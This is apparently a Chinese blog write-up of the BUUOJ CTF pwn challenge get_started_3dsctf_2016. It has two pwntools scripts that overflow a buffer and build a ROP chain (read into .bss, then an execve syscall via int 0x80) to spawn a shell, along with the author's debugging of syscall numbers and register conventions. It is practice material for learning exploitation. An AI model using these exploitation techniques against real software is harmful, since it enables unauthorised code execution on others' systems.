buuoj pwn get_started_3dsctf_2016 ret2syscall

这里记录的是ret2syscall时候出的一些状况,详细的完整版在下面链接

from pwn import *

r = process('./2016')
elf=ELF('./2016')

context.log_level = "debug"
bss=0x080eb000
pop_ebx_esi_edi_ret=0x080509a5
syscall_addr = 0x0806357d
pop_eax = 0x080b91e6
bss_addr = 0x080eb000
#gdb.attach(r)

payload = 'a'*0x38+p32(elf.sym['read'])+p32(pop_ebx_esi_edi_ret)+p32(0)+p32(bss)+p32(0x2d)
payload += p32(pop_eax) + p32(0xb)
payload += p32(syscall_addr) + p32(1) + p32(bss_addr) + p32(0) + p32(0)

r.sendline(payload)
payload='/bin/sh\x00'
r.sendline(payload)

r.interactive()

这个是当时写的exp

怀疑是系统调用号出问题,那么系统调用号去哪找?

/usr/include/asm/unistd_32.h
或者
/usr/include/asm/unistd_64.h

在这里插入图片描述
一路退出来就会看到usr

再cd进去,找到他们

在这里插入图片描述
然后cat出来看就好了。

cat出来发现有点多,试图用命令去找。

先vim进文件,然后输入 :/system
发现没找着,然后发现在里面的是execve

说一下system简单点说其实是对execve的包装,会有所区别,但是找它也行。

发现之前确实写错了,64位system系统调用好是0x3b,32位是0xb。

然后信心满满跑脚本,但是仍然过不了,看报错信息。
在这里插入图片描述关注SIGILL,然后查询这啥意思
Linux进程被信号杀死后退出状态码(exit code)的分析

非法操作。

同时给我生成了一个core文件。

gdb utest core 查看这个文件

在这里插入图片描述
32位 #define __NR_execve 11

64位 #define __NR_execve 59

32位的系统调用号放在eax 传参依次是 EBX、ECX、EDX、ESI、EDI、EBP

64位的系统调用号放在rax 传参依次是 RDI、RSI、RDX、R10、R8、R9 (和64位函数传参一样)

发现自己参数有问题,传参应该是ebx,ecx,edx。改了一波,但还是报错。
在这里插入图片描述
然后找大佬。

破案了

32位系统调用用的是int 80h。
所以把syscall换成int 80h 就好了。

from pwn import *

r = process('./2016')
elf=ELF('./2016')

context.log_level = "debug"
bss=0x080eb000
pop_ebx_esi_edi_ret=0x080509a5
syscall_addr = 0x0806357d 
int_80h = 0x0806d7e5
pop_eax = 0x080b91e6
pop_dcb = 0x0806fc30
bss_addr = 0x080eb000
#gdb.attach(r)

payload = 'a'*0x38+p32(elf.sym['read'])+p32(pop_ebx_esi_edi_ret)+p32(0)+p32(bss)+p32(0x10)
payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_dcb) + p32(0) + p32(0) + p32(bss_addr)
payload += p32(int_80h) 

r.sendline(payload)

#input()
payload='/bin/sh\x00'
r.sendline(payload)

r.interactive()

猜你喜欢

转载自blog.csdn.net/yongbaoii/article/details/112647289